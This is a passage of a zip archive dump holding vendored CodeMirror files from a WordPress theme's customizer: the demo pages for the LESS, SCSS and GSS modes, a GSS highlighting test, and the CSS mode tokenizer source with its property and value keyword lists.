      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        lineNumbers : true,
        matchBrackets : true,
        mode: "text/x-less"
      });
    </script>

    <p>The LESS mode is a sub-mode of the <a href="index.html">CSS mode</a> (defined in <code>css.js</code>).</p>

    <p><strong>Parsing/Highlighting Tests:</strong> <a href="../../test/index.html#less_*">normal</a>,  <a href="../../test/index.html#verbose,less_*">verbose</a>.</p>
  </article>
PK     N\\b    I  inc/customizer/framework/assets/js/vendor/codemirror/mode/css/gss_test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  "use strict";

  var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-gss");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "gss"); }

  MT("atComponent",
     "[def @component] {",
     "[tag foo] {",
     "  [property color]: [keyword black];",
     "}",
     "}");

})();
PK     N\T.
  
  G  inc/customizer/framework/assets/js/vendor/codemirror/mode/css/scss.htmlnu [        <!doctype html>

<title>CodeMirror: SCSS mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="css.js"></script>
<style>.CodeMirror {background: #f8f8f8;}</style>
<div id=nav>
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">SCSS</a>
  </ul>
</div>

<article>
<h2>SCSS mode</h2>
<form><textarea id="code" name="code">
/* Some example SCSS */

@import "compass/css3";
$variable: #333;

$blue: #3bbfce;
$margin: 16px;

.content-navigation {
  #nested {
    background-color: black;
  }
  border-color: $blue;
  color:
    darken($blue, 9%);
}

.border {
  padding: $margin / 2;
  margin: $margin / 2;
  border-color: $blue;
}

@mixin table-base {
  th {
    text-align: center;
    font-weight: bold;
  }
  td, th {padding: 2px}
}

table.hl {
  margin: 2em 0;
  td.ln {
    text-align: right;
  }
}

li {
  font: {
    family: serif;
    weight: bold;
    size: 1.2em;
  }
}

@mixin left($dist) {
  float: left;
  margin-left: $dist;
}

#data {
  @include left(10px);
  @include table-base;
}

.source {
  @include flow-into(target);
  border: 10px solid green;
  margin: 20px;
  width: 200px; }

.new-container {
  @include flow-from(target);
  border: 10px solid red;
  margin: 20px;
  width: 200px; }

body {
  margin: 0;
  padding: 3em 6em;
  font-family: tahoma, arial, sans-serif;
  color: #000;
}

@mixin yellow() {
  background: yellow;
}

.big {
  font-size: 14px;
}

.nested {
  @include border-radius(3px);
  @extend .big;
  p {
    background: whitesmoke;
    a {
      color: red;
    }
  }
}

#navigation a {
  font-weight: bold;
  text-decoration: none !important;
}

h1 {
  font-size: 2.5em;
}

h2 {
  font-size: 1.7em;
}

h1:before, h2:before {
  content: "::";
}

code {
  font-family: courier, monospace;
  font-size: 80%;
  color: #418A8A;
}
</textarea></form>
    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        lineNumbers: true,
        matchBrackets: true,
        mode: "text/x-scss"
      });
    </script>

    <p>The SCSS mode is a sub-mode of the <a href="index.html">CSS mode</a> (defined in <code>css.js</code>).</p>

    <p><strong>Parsing/Highlighting Tests:</strong> <a href="../../test/index.html#scss_*">normal</a>,  <a href="../../test/index.html#verbose,scss_*">verbose</a>.</p>

  </article>
PK     N\B
  
  F  inc/customizer/framework/assets/js/vendor/codemirror/mode/css/gss.htmlnu [        <!doctype html>

<title>CodeMirror: Closure Stylesheets (GSS) mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<link rel="stylesheet" href="../../addon/hint/show-hint.css">
<script src="../../lib/codemirror.js"></script>
<script src="css.js"></script>
<script src="../../addon/hint/show-hint.js"></script>
<script src="../../addon/hint/css-hint.js"></script>
<style>.CodeMirror {background: #f8f8f8;}</style>
<div id=nav>
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">Closure Stylesheets (GSS)</a>
  </ul>
</div>

<article>
<h2>Closure Stylesheets (GSS) mode</h2>
<form><textarea id="code" name="code">
/* Some example Closure Stylesheets */

@provide 'some.styles';

@require 'other.styles';

@component {

@def FONT_FAMILY           "Times New Roman", Georgia, Serif;
@def FONT_SIZE_NORMAL      15px;
@def FONT_NORMAL           normal FONT_SIZE_NORMAL FONT_FAMILY;

@def BG_COLOR              rgb(235, 239, 249);

@def DIALOG_BORDER_COLOR   rgb(107, 144, 218);
@def DIALOG_BG_COLOR       BG_COLOR;

@def LEFT_HAND_NAV_WIDTH    180px;
@def LEFT_HAND_NAV_PADDING  3px;

@defmixin size(WIDTH, HEIGHT) {
  width: WIDTH;
  height: HEIGHT;
}

body {
  background-color: BG_COLOR;
  margin: 0;
  padding: 3em 6em;
  font: FONT_NORMAL;
  color: #000;
}

#navigation a {
  font-weight: bold;
  text-decoration: none !important;
}

.dialog {
  background-color: DIALOG_BG_COLOR;
  border: 1px solid DIALOG_BORDER_COLOR;
}

.content {
  position: absolute;
  margin-left: add(LEFT_HAND_NAV_PADDING,  /* padding left */
                   LEFT_HAND_NAV_WIDTH,
                   LEFT_HAND_NAV_PADDING); /* padding right */

}

.logo {
  @mixin size(150px, 55px);
  background-image: url('http://www.google.com/images/logo_sm.gif');
}

}
</textarea></form>
    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        extraKeys: {"Ctrl-Space": "autocomplete"},
        lineNumbers: true,
        matchBrackets: "text/x-less",
        mode: "text/x-gss"
      });
    </script>

    <p>A mode for <a href="https://github.com/google/closure-stylesheets">Closure Stylesheets</a> (GSS).</p>
    <p><strong>MIME type defined:</strong> <code>text/x-gss</code>.</p>

    <p><strong>Parsing/Highlighting Tests:</strong> <a href="../../test/index.html#gss_*">normal</a>,  <a href="../../test/index.html#verbose,gss_*">verbose</a>.</p>

  </article>
PK     N\wZz    D  inc/customizer/framework/assets/js/vendor/codemirror/mode/css/css.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("css", function(config, parserConfig) {
  var provided = parserConfig;
  if (!parserConfig.propertyKeywords) parserConfig = CodeMirror.resolveMode("text/css");
  parserConfig.inline = provided.inline;

  var indentUnit = config.indentUnit,
      tokenHooks = parserConfig.tokenHooks,
      documentTypes = parserConfig.documentTypes || {},
      mediaTypes = parserConfig.mediaTypes || {},
      mediaFeatures = parserConfig.mediaFeatures || {},
      mediaValueKeywords = parserConfig.mediaValueKeywords || {},
      propertyKeywords = parserConfig.propertyKeywords || {},
      nonStandardPropertyKeywords = parserConfig.nonStandardPropertyKeywords || {},
      fontProperties = parserConfig.fontProperties || {},
      counterDescriptors = parserConfig.counterDescriptors || {},
      colorKeywords = parserConfig.colorKeywords || {},
      valueKeywords = parserConfig.valueKeywords || {},
      allowNested = parserConfig.allowNested,
      supportsAtComponent = parserConfig.supportsAtComponent === true;

  var type, override;
  function ret(style, tp) { type = tp; return style; }

  // Tokenizers

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (tokenHooks[ch]) {
      var result = tokenHooks[ch](stream, state);
      if (result !== false) return result;
    }
    if (ch == "@") {
      stream.eatWhile(/[\w\\\-]/);
      return ret("def", stream.current());
    } else if (ch == "=" || (ch == "~" || ch == "|") && stream.eat("=")) {
      return ret(null, "compare");
    } else if (ch == "\"" || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    } else if (ch == "#") {
      stream.eatWhile(/[\w\\\-]/);
      return ret("atom", "hash");
    } else if (ch == "!") {
      stream.match(/^\s*\w*/);
      return ret("keyword", "important");
    } else if (/\d/.test(ch) || ch == "." && stream.eat(/\d/)) {
      stream.eatWhile(/[\w.%]/);
      return ret("number", "unit");
    } else if (ch === "-") {
      if (/[\d.]/.test(stream.peek())) {
        stream.eatWhile(/[\w.%]/);
        return ret("number", "unit");
      } else if (stream.match(/^-[\w\\\-]+/)) {
        stream.eatWhile(/[\w\\\-]/);
        if (stream.match(/^\s*:/, false))
          return ret("variable-2", "variable-definition");
        return ret("variable-2", "variable");
      } else if (stream.match(/^\w+-/)) {
        return ret("meta", "meta");
      }
    } else if (/[,+>*\/]/.test(ch)) {
      return ret(null, "select-op");
    } else if (ch == "." && stream.match(/^-?[_a-z][_a-z0-9-]*/i)) {
      return ret("qualifier", "qualifier");
    } else if (/[:;{}\[\]\(\)]/.test(ch)) {
      return ret(null, ch);
    } else if ((ch == "u" && stream.match(/rl(-prefix)?\(/)) ||
               (ch == "d" && stream.match("omain(")) ||
               (ch == "r" && stream.match("egexp("))) {
      stream.backUp(1);
      state.tokenize = tokenParenthesized;
      return ret("property", "word");
    } else if (/[\w\\\-]/.test(ch)) {
      stream.eatWhile(/[\w\\\-]/);
      return ret("property", "word");
    } else {
      return ret(null, null);
    }
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          if (quote == ")") stream.backUp(1);
          break;
        }
        escaped = !escaped && ch == "\\";
      }
      if (ch == quote || !escaped && quote != ")") state.tokenize = null;
      return ret("string", "string");
    };
  }

  function tokenParenthesized(stream, state) {
    stream.next(); // Must be '('
    if (!stream.match(/\s*[\"\')]/, false))
      state.tokenize = tokenString(")");
    else
      state.tokenize = null;
    return ret(null, "(");
  }

  // Context management

  function Context(type, indent, prev) {
    this.type = type;
    this.indent = indent;
    this.prev = prev;
  }

  function pushContext(state, stream, type, indent) {
    state.context = new Context(type, stream.indentation() + (indent === false ? 0 : indentUnit), state.context);
    return type;
  }

  function popContext(state) {
    if (state.context.prev)
      state.context = state.context.prev;
    return state.context.type;
  }

  function pass(type, stream, state) {
    return states[state.context.type](type, stream, state);
  }
  function popAndPass(type, stream, state, n) {
    for (var i = n || 1; i > 0; i--)
      state.context = state.context.prev;
    return pass(type, stream, state);
  }

  // Parser

  function wordAsValue(stream) {
    var word = stream.current().toLowerCase();
    if (valueKeywords.hasOwnProperty(word))
      override = "atom";
    else if (colorKeywords.hasOwnProperty(word))
      override = "keyword";
    else
      override = "variable";
  }

  var states = {};

  states.top = function(type, stream, state) {
    if (type == "{") {
      return pushContext(state, stream, "block");
    } else if (type == "}" && state.context.prev) {
      return popContext(state);
    } else if (supportsAtComponent && /@component/.test(type)) {
      return pushContext(state, stream, "atComponentBlock");
    } else if (/^@(-moz-)?document$/.test(type)) {
      return pushContext(state, stream, "documentTypes");
    } else if (/^@(media|supports|(-moz-)?document|import)$/.test(type)) {
      return pushContext(state, stream, "atBlock");
    } else if (/^@(font-face|counter-style)/.test(type)) {
      state.stateArg = type;
      return "restricted_atBlock_before";
    } else if (/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(type)) {
      return "keyframes";
    } else if (type && type.charAt(0) == "@") {
      return pushContext(state, stream, "at");
    } else if (type == "hash") {
      override = "builtin";
    } else if (type == "word") {
      override = "tag";
    } else if (type == "variable-definition") {
      return "maybeprop";
    } else if (type == "interpolation") {
      return pushContext(state, stream, "interpolation");
    } else if (type == ":") {
      return "pseudo";
    } else if (allowNested && type == "(") {
      return pushContext(state, stream, "parens");
    }
    return state.context.type;
  };

  states.block = function(type, stream, state) {
    if (type == "word") {
      var word = stream.current().toLowerCase();
      if (propertyKeywords.hasOwnProperty(word)) {
        override = "property";
        return "maybeprop";
      } else if (nonStandardPropertyKeywords.hasOwnProperty(word)) {
        override = "string-2";
        return "maybeprop";
      } else if (allowNested) {
        override = stream.match(/^\s*:(?:\s|$)/, false) ? "property" : "tag";
        return "block";
      } else {
        override += " error";
        return "maybeprop";
      }
    } else if (type == "meta") {
      return "block";
    } else if (!allowNested && (type == "hash" || type == "qualifier")) {
      override = "error";
      return "block";
    } else {
      return states.top(type, stream, state);
    }
  };

  states.maybeprop = function(type, stream, state) {
    if (type == ":") return pushContext(state, stream, "prop");
    return pass(type, stream, state);
  };

  states.prop = function(type, stream, state) {
    if (type == ";") return popContext(state);
    if (type == "{" && allowNested) return pushContext(state, stream, "propBlock");
    if (type == "}" || type == "{") return popAndPass(type, stream, state);
    if (type == "(") return pushContext(state, stream, "parens");

    if (type == "hash" && !/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(stream.current())) {
      override += " error";
    } else if (type == "word") {
      wordAsValue(stream);
    } else if (type == "interpolation") {
      return pushContext(state, stream, "interpolation");
    }
    return "prop";
  };

  states.propBlock = function(type, _stream, state) {
    if (type == "}") return popContext(state);
    if (type == "word") { override = "property"; return "maybeprop"; }
    return state.context.type;
  };

  states.parens = function(type, stream, state) {
    if (type == "{" || type == "}") return popAndPass(type, stream, state);
    if (type == ")") return popContext(state);
    if (type == "(") return pushContext(state, stream, "parens");
    if (type == "interpolation") return pushContext(state, stream, "interpolation");
    if (type == "word") wordAsValue(stream);
    return "parens";
  };

  states.pseudo = function(type, stream, state) {
    if (type == "word") {
      override = "variable-3";
      return state.context.type;
    }
    return pass(type, stream, state);
  };

  states.documentTypes = function(type, stream, state) {
    if (type == "word" && documentTypes.hasOwnProperty(stream.current())) {
      override = "tag";
      return state.context.type;
    } else {
      return states.atBlock(type, stream, state);
    }
  };

  states.atBlock = function(type, stream, state) {
    if (type == "(") return pushContext(state, stream, "atBlock_parens");
    if (type == "}" || type == ";") return popAndPass(type, stream, state);
    if (type == "{") return popContext(state) && pushContext(state, stream, allowNested ? "block" : "top");

    if (type == "interpolation") return pushContext(state, stream, "interpolation");

    if (type == "word") {
      var word = stream.current().toLowerCase();
      if (word == "only" || word == "not" || word == "and" || word == "or")
        override = "keyword";
      else if (mediaTypes.hasOwnProperty(word))
        override = "attribute";
      else if (mediaFeatures.hasOwnProperty(word))
        override = "property";
      else if (mediaValueKeywords.hasOwnProperty(word))
        override = "keyword";
      else if (propertyKeywords.hasOwnProperty(word))
        override = "property";
      else if (nonStandardPropertyKeywords.hasOwnProperty(word))
        override = "string-2";
      else if (valueKeywords.hasOwnProperty(word))
        override = "atom";
      else if (colorKeywords.hasOwnProperty(word))
        override = "keyword";
      else
        override = "error";
    }
    return state.context.type;
  };

  states.atComponentBlock = function(type, stream, state) {
    if (type == "}")
      return popAndPass(type, stream, state);
    if (type == "{")
      return popContext(state) && pushContext(state, stream, allowNested ? "block" : "top", false);
    if (type == "word")
      override = "error";
    return state.context.type;
  };

  states.atBlock_parens = function(type, stream, state) {
    if (type == ")") return popContext(state);
    if (type == "{" || type == "}") return popAndPass(type, stream, state, 2);
    return states.atBlock(type, stream, state);
  };

  states.restricted_atBlock_before = function(type, stream, state) {
    if (type == "{")
      return pushContext(state, stream, "restricted_atBlock");
    if (type == "word" && state.stateArg == "@counter-style") {
      override = "variable";
      return "restricted_atBlock_before";
    }
    return pass(type, stream, state);
  };

  states.restricted_atBlock = function(type, stream, state) {
    if (type == "}") {
      state.stateArg = null;
      return popContext(state);
    }
    if (type == "word") {
      if ((state.stateArg == "@font-face" && !fontProperties.hasOwnProperty(stream.current().toLowerCase())) ||
          (state.stateArg == "@counter-style" && !counterDescriptors.hasOwnProperty(stream.current().toLowerCase())))
        override = "error";
      else
        override = "property";
      return "maybeprop";
    }
    return "restricted_atBlock";
  };

  states.keyframes = function(type, stream, state) {
    if (type == "word") { override = "variable"; return "keyframes"; }
    if (type == "{") return pushContext(state, stream, "top");
    return pass(type, stream, state);
  };

  states.at = function(type, stream, state) {
    if (type == ";") return popContext(state);
    if (type == "{" || type == "}") return popAndPass(type, stream, state);
    if (type == "word") override = "tag";
    else if (type == "hash") override = "builtin";
    return "at";
  };

  states.interpolation = function(type, stream, state) {
    if (type == "}") return popContext(state);
    if (type == "{" || type == ";") return popAndPass(type, stream, state);
    if (type == "word") override = "variable";
    else if (type != "variable" && type != "(" && type != ")") override = "error";
    return "interpolation";
  };

  return {
    startState: function(base) {
      return {tokenize: null,
              state: parserConfig.inline ? "block" : "top",
              stateArg: null,
              context: new Context(parserConfig.inline ? "block" : "top", base || 0, null)};
    },

    token: function(stream, state) {
      if (!state.tokenize && stream.eatSpace()) return null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style && typeof style == "object") {
        type = style[1];
        style = style[0];
      }
      override = style;
      state.state = states[state.state](type, stream, state);
      return override;
    },

    indent: function(state, textAfter) {
      var cx = state.context, ch = textAfter && textAfter.charAt(0);
      var indent = cx.indent;
      if (cx.type == "prop" && (ch == "}" || ch == ")")) cx = cx.prev;
      if (cx.prev) {
        if (ch == "}" && (cx.type == "block" || cx.type == "top" ||
                          cx.type == "interpolation" || cx.type == "restricted_atBlock")) {
          // Resume indentation from parent context.
          cx = cx.prev;
          indent = cx.indent;
        } else if (ch == ")" && (cx.type == "parens" || cx.type == "atBlock_parens") ||
            ch == "{" && (cx.type == "at" || cx.type == "atBlock")) {
          // Dedent relative to current context.
          indent = Math.max(0, cx.indent - indentUnit);
          cx = cx.prev;
        }
      }
      return indent;
    },

    electricChars: "}",
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    fold: "brace"
  };
});

  function keySet(array) {
    var keys = {};
    for (var i = 0; i < array.length; ++i) {
      keys[array[i]] = true;
    }
    return keys;
  }

  var documentTypes_ = [
    "domain", "regexp", "url", "url-prefix"
  ], documentTypes = keySet(documentTypes_);

  var mediaTypes_ = [
    "all", "aural", "braille", "handheld", "print", "projection", "screen",
    "tty", "tv", "embossed"
  ], mediaTypes = keySet(mediaTypes_);

  var mediaFeatures_ = [
    "width", "min-width", "max-width", "height", "min-height", "max-height",
    "device-width", "min-device-width", "max-device-width", "device-height",
    "min-device-height", "max-device-height", "aspect-ratio",
    "min-aspect-ratio", "max-aspect-ratio", "device-aspect-ratio",
    "min-device-aspect-ratio", "max-device-aspect-ratio", "color", "min-color",
    "max-color", "color-index", "min-color-index", "max-color-index",
    "monochrome", "min-monochrome", "max-monochrome", "resolution",
    "min-resolution", "max-resolution", "scan", "grid", "orientation",
    "device-pixel-ratio", "min-device-pixel-ratio", "max-device-pixel-ratio",
    "pointer", "any-pointer", "hover", "any-hover"
  ], mediaFeatures = keySet(mediaFeatures_);

  var mediaValueKeywords_ = [
    "landscape", "portrait", "none", "coarse", "fine", "on-demand", "hover",
    "interlace", "progressive"
  ], mediaValueKeywords = keySet(mediaValueKeywords_);

  var propertyKeywords_ = [
    "align-content", "align-items", "align-self", "alignment-adjust",
    "alignment-baseline", "anchor-point", "animation", "animation-delay",
    "animation-direction", "animation-duration", "animation-fill-mode",
    "animation-iteration-count", "animation-name", "animation-play-state",
    "animation-timing-function", "appearance", "azimuth", "backface-visibility",
    "background", "background-attachment", "background-clip", "background-color",
    "background-image", "background-origin", "background-position",
    "background-repeat", "background-size", "baseline-shift", "binding",
    "bleed", "bookmark-label", "bookmark-level", "bookmark-state",
    "bookmark-target", "border", "border-bottom", "border-bottom-color",
    "border-bottom-left-radius", "border-bottom-right-radius",
    "border-bottom-style", "border-bottom-width", "border-collapse",
    "border-color", "border-image", "border-image-outset",
    "border-image-repeat", "border-image-slice", "border-image-source",
    "border-image-width", "border-left", "border-left-color",
    "border-left-style", "border-left-width", "border-radius", "border-right",
    "border-right-color", "border-right-style", "border-right-width",
    "border-spacing", "border-style", "border-top", "border-top-color",
    "border-top-left-radius", "border-top-right-radius", "border-top-style",
    "border-top-width", "border-width", "bottom", "box-decoration-break",
    "box-shadow", "box-sizing", "break-after", "break-before", "break-inside",
    "caption-side", "clear", "clip", "color", "color-profile", "column-count",
    "column-fill", "column-gap", "column-rule", "column-rule-color",
    "column-rule-style", "column-rule-width", "column-span", "column-width",
    "columns", "content", "counter-increment", "counter-reset", "crop", "cue",
    "cue-after", "cue-before", "cursor", "direction", "display",
    "dominant-baseline", "drop-initial-after-adjust",
    "drop-initial-after-align", "drop-initial-before-adjust",
    "drop-initial-before-align", "drop-initial-size", "drop-initial-value",
    "elevation", "empty-cells", "fit", "fit-position", "flex", "flex-basis",
    "flex-direction", "flex-flow", "flex-grow", "flex-shrink", "flex-wrap",
    "float", "float-offset", "flow-from", "flow-into", "font", "font-feature-settings",
    "font-family", "font-kerning", "font-language-override", "font-size", "font-size-adjust",
    "font-stretch", "font-style", "font-synthesis", "font-variant",
    "font-variant-alternates", "font-variant-caps", "font-variant-east-asian",
    "font-variant-ligatures", "font-variant-numeric", "font-variant-position",
    "font-weight", "grid", "grid-area", "grid-auto-columns", "grid-auto-flow",
    "grid-auto-position", "grid-auto-rows", "grid-column", "grid-column-end",
    "grid-column-start", "grid-row", "grid-row-end", "grid-row-start",
    "grid-template", "grid-template-areas", "grid-template-columns",
    "grid-template-rows", "hanging-punctuation", "height", "hyphens",
    "icon", "image-orientation", "image-rendering", "image-resolution",
    "inline-box-align", "justify-content", "left", "letter-spacing",
    "line-break", "line-height", "line-stacking", "line-stacking-ruby",
    "line-stacking-shift", "line-stacking-strategy", "list-style",
    "list-style-image", "list-style-position", "list-style-type", "margin",
    "margin-bottom", "margin-left", "margin-right", "margin-top",
    "marker-offset", "marks", "marquee-direction", "marquee-loop",
    "marquee-play-count", "marquee-speed", "marquee-style", "max-height",
    "max-width", "min-height", "min-width", "move-to", "nav-down", "nav-index",
    "nav-left", "nav-right", "nav-up", "object-fit", "object-position",
    "opacity", "order", "orphans", "outline",
    "outline-color", "outline-offset", "outline-style", "outline-width",
    "overflow", "overflow-style", "overflow-wrap", "overflow-x", "overflow-y",
    "padding", "padding-bottom", "padding-left", "padding-right", "padding-top",
    "page", "page-break-after", "page-break-before", "page-break-inside",
    "page-policy", "pause", "pause-after", "pause-before", "perspective",
    "perspective-origin", "pitch", "pitch-range", "play-during", "position",
    "presentation-level", "punctuation-trim", "quotes", "region-break-after",
    "region-break-before", "region-break-inside", "region-fragment",
    "rendering-intent", "resize", "rest", "rest-after", "rest-before", "richness",
    "right", "rotation", "rotation-point", "ruby-align", "ruby-overhang",
    "ruby-position", "ruby-span", "shape-image-threshold", "shape-inside", "shape-margin",
    "shape-outside", "size", "speak", "speak-as", "speak-header",
    "speak-numeral", "speak-punctuation", "speech-rate", "stress", "string-set",
    "tab-size", "table-layout", "target", "target-name", "target-new",
    "target-position", "text-align", "text-align-last", "text-decoration",
    "text-decoration-color", "text-decoration-line", "text-decoration-skip",
    "text-decoration-style", "text-emphasis", "text-emphasis-color",
    "text-emphasis-position", "text-emphasis-style", "text-height",
    "text-indent", "text-justify", "text-outline", "text-overflow", "text-shadow",
    "text-size-adjust", "text-space-collapse", "text-transform", "text-underline-position",
    "text-wrap", "top", "transform", "transform-origin", "transform-style",
    "transition", "transition-delay", "transition-duration",
    "transition-property", "transition-timing-function", "unicode-bidi",
    "vertical-align", "visibility", "voice-balance", "voice-duration",
    "voice-family", "voice-pitch", "voice-range", "voice-rate", "voice-stress",
    "voice-volume", "volume", "white-space", "widows", "width", "word-break",
    "word-spacing", "word-wrap", "z-index",
    // SVG-specific
    "clip-path", "clip-rule", "mask", "enable-background", "filter", "flood-color",
    "flood-opacity", "lighting-color", "stop-color", "stop-opacity", "pointer-events",
    "color-interpolation", "color-interpolation-filters",
    "color-rendering", "fill", "fill-opacity", "fill-rule", "image-rendering",
    "marker", "marker-end", "marker-mid", "marker-start", "shape-rendering", "stroke",
    "stroke-dasharray", "stroke-dashoffset", "stroke-linecap", "stroke-linejoin",
    "stroke-miterlimit", "stroke-opacity", "stroke-width", "text-rendering",
    "baseline-shift", "dominant-baseline", "glyph-orientation-horizontal",
    "glyph-orientation-vertical", "text-anchor", "writing-mode"
  ], propertyKeywords = keySet(propertyKeywords_);

  var nonStandardPropertyKeywords_ = [
    "scrollbar-arrow-color", "scrollbar-base-color", "scrollbar-dark-shadow-color",
    "scrollbar-face-color", "scrollbar-highlight-color", "scrollbar-shadow-color",
    "scrollbar-3d-light-color", "scrollbar-track-color", "shape-inside",
    "searchfield-cancel-button", "searchfield-decoration", "searchfield-results-button",
    "searchfield-results-decoration", "zoom"
  ], nonStandardPropertyKeywords = keySet(nonStandardPropertyKeywords_);

  var fontProperties_ = [
    "font-family", "src", "unicode-range", "font-variant", "font-feature-settings",
    "font-stretch", "font-weight", "font-style"
  ], fontProperties = keySet(fontProperties_);

  var counterDescriptors_ = [
    "additive-symbols", "fallback", "negative", "pad", "prefix", "range",
    "speak-as", "suffix", "symbols", "system"
  ], counterDescriptors = keySet(counterDescriptors_);

  var colorKeywords_ = [
    "aliceblue", "antiquewhite", "aqua", "aquamarine", "azure", "beige",
    "bisque", "black", "blanchedalmond", "blue", "blueviolet", "brown",
    "burlywood", "cadetblue", "chartreuse", "chocolate", "coral", "cornflowerblue",
    "cornsilk", "crimson", "cyan", "darkblue", "darkcyan", "darkgoldenrod",
    "darkgray", "darkgreen", "darkkhaki", "darkmagenta", "darkolivegreen",
    "darkorange", "darkorchid", "darkred", "darksalmon", "darkseagreen",
    "darkslateblue", "darkslategray", "darkturquoise", "darkviolet",
    "deeppink", "deepskyblue", "dimgray", "dodgerblue", "firebrick",
    "floralwhite", "forestgreen", "fuchsia", "gainsboro", "ghostwhite",
    "gold", "goldenrod", "gray", "grey", "green", "greenyellow", "honeydew",
    "hotpink", "indianred", "indigo", "ivory", "khaki", "lavender",
    "lavenderblush", "lawngreen", "lemonchiffon", "lightblue", "lightcoral",
    "lightcyan", "lightgoldenrodyellow", "lightgray", "lightgreen", "lightpink",
    "lightsalmon", "lightseagreen", "lightskyblue", "lightslategray",
    "lightsteelblue", "lightyellow", "lime", "limegreen", "linen", "magenta",
    "maroon", "mediumaquamarine", "mediumblue", "mediumorchid", "mediumpurple",
    "mediumseagreen", "mediumslateblue", "mediumspringgreen", "mediumturquoise",
    "mediumvioletred", "midnightblue", "mintcream", "mistyrose", "moccasin",
    "navajowhite", "navy", "oldlace", "olive", "olivedrab", "orange", "orangered",
    "orchid", "palegoldenrod", "palegreen", "paleturquoise", "palevioletred",
    "papayawhip", "peachpuff", "peru", "pink", "plum", "powderblue",
    "purple", "rebeccapurple", "red", "rosybrown", "royalblue", "saddlebrown",
    "salmon", "sandybrown", "seagreen", "seashell", "sienna", "silver", "skyblue",
    "slateblue", "slategray", "snow", "springgreen", "steelblue", "tan",
    "teal", "thistle", "tomato", "turquoise", "violet", "wheat", "white",
    "whitesmoke", "yellow", "yellowgreen"
  ], colorKeywords = keySet(colorKeywords_);

  var valueKeywords_ = [
    "above", "absolute", "activeborder", "additive", "activecaption", "afar",
    "after-white-space", "ahead", "alias", "all", "all-scroll", "alphabetic", "alternate",
    "always", "amharic", "amharic-abegede", "antialiased", "appworkspace",
    "arabic-indic", "armenian", "asterisks", "attr", "auto", "avoid", "avoid-column", "avoid-page",
    "avoid-region", "background", "backwards", "baseline", "below", "bidi-override", "binary",
    "bengali", "blink", "block", "block-axis", "bold", "bolder", "border", "border-box",
    "both", "bottom", "break", "break-all", "break-word", "bullets", "button", "button-bevel",
    "buttonface", "buttonhighlight", "buttonshadow", "buttontext", "calc", "cambodian",
    "capitalize", "caps-lock-indicator", "caption", "captiontext", "caret",
    "cell", "center", "checkbox", "circle", "cjk-decimal", "cjk-earthly-branch",
    "cjk-heavenly-stem", "cjk-ideographic", "clear", "clip", "close-quote",
    "col-resize", "collapse", "column", "column-reverse", "compact", "condensed", "contain", "content",
    "content-box", "context-menu", "continuous", "copy", "counter", "counters", "cover", "crop",
    "cross", "crosshair", "currentcolor", "cursive", "cyclic", "dashed", "decimal",
    "decimal-leading-zero", "default", "default-button", "destination-atop",
    "destination-in", "destination-out", "destination-over", "devanagari",
    "disc", "discard", "disclosure-closed", "disclosure-open", "document",
    "dot-dash", "dot-dot-dash",
    "dotted", "double", "down", "e-resize", "ease", "ease-in", "ease-in-out", "ease-out",
    "element", "ellipse", "ellipsis", "embed", "end", "ethiopic", "ethiopic-abegede",
    "ethiopic-abegede-am-et", "ethiopic-abegede-gez", "ethiopic-abegede-ti-er",
    "ethiopic-abegede-ti-et", "ethiopic-halehame-aa-er",
    "ethiopic-halehame-aa-et", "ethiopic-halehame-am-et",
    "ethiopic-halehame-gez", "ethiopic-halehame-om-et",
    "ethiopic-halehame-sid-et", "ethiopic-halehame-so-et",
    "ethiopic-halehame-ti-er", "ethiopic-halehame-ti-et", "ethiopic-halehame-tig",
    "ethiopic-numeric", "ew-resize", "expanded", "extends", "extra-condensed",
    "extra-expanded", "fantasy", "fast", "fill", "fixed", "flat", "flex", "flex-end", "flex-start", "footnotes",
    "forwards", "from", "geometricPrecision", "georgian", "graytext", "groove",
    "gujarati", "gurmukhi", "hand", "hangul", "hangul-consonant", "hebrew",
    "help", "hidden", "hide", "higher", "highlight", "highlighttext",
    "hiragana", "hiragana-iroha", "horizontal", "hsl", "hsla", "icon", "ignore",
    "inactiveborder", "inactivecaption", "inactivecaptiontext", "infinite",
    "infobackground", "infotext", "inherit", "initial", "inline", "inline-axis",
    "inline-block", "inline-flex", "inline-table", "inset", "inside", "intrinsic", "invert",
    "italic", "japanese-formal", "japanese-informal", "justify", "kannada",
